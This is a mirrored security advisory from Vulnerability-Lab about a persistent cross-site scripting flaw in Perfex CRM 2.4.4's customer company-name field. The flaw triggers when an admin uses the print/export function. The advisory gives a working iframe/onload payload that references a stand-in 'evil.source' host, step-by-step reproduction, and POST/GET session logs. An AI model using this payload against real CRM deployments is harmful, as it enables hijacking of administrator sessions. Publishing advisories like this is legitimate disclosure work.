what you don't know can hurt you

Perfex CRM 2.4.4 Cross Site Scripting

Perfex CRM 2.4.4 Cross Site Scripting
Posted Dec 4, 2020
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

Perfex CRM version 2.4.4 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 2e24223958057e3c02abb2ba2fe607ad

Perfex CRM 2.4.4 Cross Site Scripting

Change Mirror Download
Document Title:
===============
Perfex v2.4.4 CRM - (Print) Persistent Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2231


Release Date:
=============
2020-06-24


Vulnerability Laboratory ID (VL-ID):
====================================
2231


Common Vulnerability Scoring System:
====================================
4.7


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Manage Customers, Projects, and Create Invoices in the Cloud. Customer Relationship Management software that is a great fit for
almost any small business, freelancer or many other uses. Manage and invoice projects with the powerful project management feature.
Track expenses and time spent on tasks and bill your customers. Ability to assign multiple staff members on task and track time
logged by assigned project member. (PHP Version: 7.3.16 & MySQL Version: 5.6.40-84.0)

(Copy of the Homepage: https://www.perfexcrm.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent xss web vulnerability in the Perfex v2.4.4 web-application.


Affected Product(s):
====================
Perfex
Product: Perfex v2.4.4 - CRM (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-06-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Perfex v2.4.4 crm web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser
to web-application requests from the application-side.

The persistent vulnerability is located in the `company` name parameter of the `./clients/client` (Customer) module.
Remote attackers with low privileges are able to inject own malicious persistent script code as company name to compromise
the internal print function of the backend. The attacker inject his code and in case the admin or other privileged user
account try to export via print function the code simple executes wihtin a new tab context. The request method to inject
is POST and the attack vector is located on the application-side.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] /admin/clients/client (Customers)

Vulnerable Parameter(s):
[+] company

Affected Module(s):
[+] Export (Print)


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the registration inject payload as company name or
2. Use an existing account to rename
3. In the backend admins can export and print (execution point)
4. Wait until the function is used to compromise the session
5. Login and successful reproduce of the vulnerability!


PoC: Payload
><iframe src=evil.source onload=alert(document.domain)></iframe>


--- PoC Session Logs [POST] --- (Injection Point - Register or Add/Edit)
https://localhost:8000/perfexcrm/admin/clients/client
Host: localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Origin: https://localhost:8000
Connection: keep-alive
Referer: https://localhost:8000/perfexcrm/admin/clients/client
company=><iframe src=evil.source onload=alert(document.domain)></iframe>&vat=&phonenumber=&website=&default_currency=&
default_language=&address=test&city=&state=&zip=&country=&billing_street=&
billing_city=&billing_state=&billing_zip=&billing_country=&shipping_street=&shipping_city=&shipping_state=&shipping_zip=&shipping_country=
-
POST: HTTP/2.0 302 Found
server: nginx
content-type: text/html; charset=utf-8
location: https://localhost:8000/perfexcrm/admin/clients/client/13
-
--- PoC Session Logs [GET] --- (Execution Point - Print Customer Data via Export)
https://localhost:8000/perfexcrm/admin/clients/evil.source
Host: localhost:8000
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
-
GET: HTTP/1.0 200 OK
server: nginx
content-length: 514
vary: Accept-Encoding
content-encoding: gzip


Reference(s):
https://localhost:8000/perfexcrm/
https://localhost:8000/perfexcrm/admin/
https://localhost:8000/perfexcrm/admin/clients/
https://localhost:8000/perfexcrm/admin/clients/client/


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™

Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    1 Files
  • 17
    Jan 17th
    2 Files
  • 18
    Jan 18th
    20 Files
  • 19
    Jan 19th
    32 Files
  • 20
    Jan 20th
    15 Files
  • 21
    Jan 21st
    10 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close